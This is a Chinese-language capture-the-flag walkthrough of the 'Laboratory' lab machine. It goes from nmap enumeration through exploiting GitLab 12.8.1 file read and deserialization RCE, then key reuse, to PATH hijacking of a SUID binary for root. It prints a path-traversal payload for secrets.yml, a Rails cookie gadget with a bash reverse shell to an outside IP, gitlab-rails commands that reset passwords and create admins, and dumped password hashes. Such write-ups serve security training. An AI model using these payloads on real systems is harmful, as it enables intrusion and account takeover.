Laboratory-Writeup

概述 (Overview)

85995679.png
时间: 2021-07-17
机器作者: 0xc45
困难程度: easy
描述: 考察用户信息收集能力,并通过历史GitLab漏洞进一步RCE。
Flags:User: <md5>, Root: <md5>
MACHINE TAGS:

  • Bash
  • Ruby
  • Outdated Software
  • Patch Management

攻击链 (Kiillchain)

使用 nmap 获取到目标开放端口及服务,在CA证书中获发现GitLab服务域名并绑定hosts访问。更具服务版本信息检索存在任务文件读取漏洞,并使用读取到 secret_key_base 进一步将漏洞提升至RCE,利用RCE漏洞获取到 git 用户反弹shell。
通过 gitlab-rails 修改项目所有者密码,登录后从私有项目中获得dexter用户id_rsa,使用私钥成功成容器中完成逃逸横向到物理机。
最终通过 Path Hijacking 利用成功获得ROOT会话shell。

枚举(Enumeration)

老规矩 nmap 起手对目标服务器开发端口进行扫描:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以从运行的HTTPS服务的证书中获悉:laboratory.htbgit.laboratory.htb,对其进行 hosts 绑定。访问IP的80端口提示指向:laboratory.htb
50046390.png
查看页面后暂时不明运行的是什么系统,内容为纯静态页面。
50095557.png

转而查看 git.laboratory.htb,不是的是 GitLab 服务且存在开放注册。
50194380.png

立足点(Foothold)

注册一个账号,提示邮箱是已 @laboratory.htb 结尾。登录 GitLab 后可以看一个公开的项目:

50797064.png

通过验证请求项目中URL路径,发现它就是 https://laboratory.htb 的源代码项目。

Isses 中,发现存在一个留言对应的创建用户是 Seven,看起来像是一个 Bot。

50926440.png

该项目的所有者是 dexter

51013013.png

通过页面信息获知部署服务的版本为: GitLab Community Edition 12.8.1,通过 Google 找到了在该版本下可能存在任务文件读取漏洞。

https://hackerone.com/reports/827052

同时还找到了一个的攻击脚本,包含任意文件读取及RCE两个漏洞验证

https://github.com/dotPY-hax/gitlab_RCE

51414757.png

从提示中获取到好像没有找到版本信息:The Version seems to be None! Choose wisely。通过查看脚本运行逻辑,直接在获取版本方法中写死版本为 12.8.1

51534350.png
Issues 中查看,成功读取到了目标服务器上的 passwd 文件内容。
52094088.png

注意:脚本能利用成功的前提,一是存在任意用户的注册和删除。二是可以创建项目。触发的本质是将创建的 issue 转移至其他项目

https://hackerone.com/reports/827052 的下半部分信息中,vakzz 进一步对漏洞进行了利用使其可以组合成RCE漏洞。

利用任务文件读取获取 gitlab-rails 的凭证:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

攻击脚本中也有该部分的利用,但我在尝试时出现了未知的错误导致利用失败。类似的脚本还有: https://github.com/cocomelonc/vulnexipy/blob/master/cve_2020_10977_rce.py

53979803.png

https://blog.csdn.net/weixin_43311457/article/details/109351464 中获得了进一步RCE的详情,尝试复现攻击。

首先 Docker 拉取 GitLab-CE 镜像并运行容器:
57691333.png
将获取到的 secret_key_base 替换容器内的配置:
60107024.png

运行 $ gitlab-rails console 进入 rails 命令模式,依次传入如下内容:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.16.15/9900 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

但是多次尝试后还是失败,麻了…

61660723.png

现在写总结的时候才发现文中有这么一段话:(ps:反弹shell的命令必须使用bash -c 包裹,否则反弹不了shell;使用控制台执行这些语句时,系统命令会在本机会执行一遍,所以在以上语句执行完成获取cookie值之前,不要在攻击机上执行监听端口命令)
我怀疑当时就是脑子烧了,没留意到… 尴尬

卡了和很久,最后在修改完 gitlab_rce.pysel.port 参数执行脚本获取的了反弹shell。
62597295.png
62573359.png

横向移动(Lateral Movement)

上传 linpeas 脚本至目标服务器,发现服务器上用于文件传递的命令不是很多,就写了个简单的PHP脚本来实现文件传递:

<?php
// curl -F "file_name=@1.txt" http://localhost/upload_file.php\?file_name\=./aaa/bbb/1.txt

error_reporting(0);
$file_name = $_REQUEST['file_name'];

if ($_FILES['file_name']['name']) {
    $dirname = dirname($file_name);
    if ($dirname && ! mkdir($dirname, 0777, true) && ! is_dir($dirname)) {
        throw new \RuntimeException(sprintf('Directory "%s" was not created', $dirname));
    }
    move_uploaded_file($_FILES['file_name']['tmp_name'], $file_name);
    echo 'Upload file: ' . $file_name . ' Ok!';
}

64177026.png
发现脚本收集的信息,发现 gitlab-rails 的数据中存在多个用户的密码hash:
65132942.png

seven@laboratory.htb:$2a$10$HkBO3A4k6G42X85r0ZIpO.RlSLCg9igEaiiU8r44Ymd7e2nWcjixC
cce81knqg1@laboratory.htb:$2a$10$gmKFAFq85aHMNLMXHc8w6evY8NI3uKs6kF0GLUfFL4S2q1gT7FnXy
test@laboratory.htb:$2a$10$YTCK8L9uUzKRk6UoZcE.o.9RaY5bkEoGAqzaNhlUEeTcq8OyZJKWm
admin@example.com:$2a$10$YqNpT9IdQm9tlE3SS/uYWOsrH1Fblb/jiM62XVB.WzDLTJNoC0/im

发现 dexter 用户与 admin 存在关联:
65624257.png

随后通过 gitlab-rails 成功修改 dexter 用户的密码:

gitlab-rails console
user=User.where(username: "dexter").first  // 查找dexter用户
user.password=12345678 // 修改用户的密码
user.save!

也可以直接创建一个管理员账号:
User.create!(name: "Test01", username: "test01", email: "test01@laboratory.htb", password: "test12345", password_confirmation: "test12345", admin: true)

73776471.png

使用 dexter 账号登录 GitLab 发现多了一个私有项目:
73810998.png
在该项目中保存了用户的ssh私钥:

73904163.png
从项目名称中判断当前的运行环境可能是容器,果然在根目录下看到了一个 /.dockerenv 文件,而一般该文件是会出现在 Docker 容器中。
75033824.png

从 hosts 中可以获知到,当前 GitLab 容器对应的ip是 171.17.0.2,尝试在容器中使用项目中获取的私钥去登录物理机的SSH:

74677829.png

root连接提示失败,换dexter用户后也提示失败。看样子还缺失一组密码,但我找了很久都没找到。换Kali中连接目标物理机IP也提示失败…
76651648.png

从搜索中得到的解释是说密钥错误,通过diff比对了下本地正常的id_rsa发现dexter的私钥末尾缺失了一个换行符。

76819308.png

加上换行符后就成功登录dexter用户shell:

76854807.png

权限提升(Privilege Escalation)

接着将 linpeas.sh 传递至服务器,分析后发现存一个 docker-security 命令,并具备 SUID 权限。
78831379.png
从详情中看到到,多个s权限:
82623974.png
可是我在网上并不能搜到这个命令的详情,怀疑是该靶机自有的命令。
使用 pspy 查看是否存在计划任务这种东西,发现存在root运行:
82886802.png
docker-security 被执行后会运行 sh -c chmod 6600 /var/run/docker.sock 命令,但是可以看到这里 chmod 并没有指定绝对路径,让我想起了 Path Hijacking

原理是当通过 bash、sh 去运行比如 ls 命令,它是根据环境变量中的 PATH 路径去依次寻找可执行的 ls。比如在/usr/bin/usr/local/sbin目录中都存在可执行的 lsPATH 中那个路径写在前面则那个 ls 先被执行。

在当前路径下创建一个 chmod 文件: echo "/bin/bash" > chmod,随后增加可执行属性,并将当前路径加入PATH首部。
85906610.png
再次运行 docker-security 后成功获得 root shell。

复盘

gitlab 项目都放在 /var/opt/gitlab/git-data/repositories/ 目录中。

在不存在 ipifconfig 等命令时(比如容器里),查看本机IP可以使用 cat /proc/net/fib_trie 将看到IPv4地址。

参考